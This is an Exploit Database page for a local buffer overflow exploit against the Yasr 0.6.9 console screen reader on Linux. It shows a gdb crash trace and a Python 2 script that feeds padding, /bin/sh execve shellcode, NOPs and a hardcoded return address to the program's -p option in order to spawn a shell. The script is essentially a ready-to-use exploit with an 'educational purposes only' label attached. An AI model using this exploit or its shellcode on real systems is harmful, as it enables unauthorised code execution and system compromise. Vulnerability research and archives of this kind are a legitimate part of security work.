



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Yasr Screen Reader 0.6.9 - Local Buffer Overflow

EDB-ID:

39734

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[LINUX](#)

Date:

2016-04-26

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

...
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: General-purpose console screen reader
# Version: 0.6.9-5
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Yasr is a general-purpose console screen reader
for GNU/Linux and other Unix-like operating systems.
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
# Website: http://yasr.sourceforge.net/
#
#
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x90909090 in ?? ()
#
#gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7e34a23 in __GI_abort () at abort.c:89
#3  0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
../sysdeps/posix/libc_fatal.c:175
#4  0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
"buffer overflow detected") at fortify_fail.c:31
#5  0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
...

import os, subprocess

def run():
    try:
        print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
        print "# This exploit is for educational purposes only"
        # JUNK + SHELLCODE + NOPS + EIP

        junk = "\x41"*298
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        nops = "\x90"*12
        eip = "\xd2\xf3\xff\xbf"
        subprocess.call(["yasr ", '-p ', junk + shellcode + nops + eip])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, Yasr Console Reader - Not found!"
        else:
            print "Error executing exploit"
            raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
        print "Author: Juan Sacco"
    except IndexError:
        howtousage()

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
run()
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.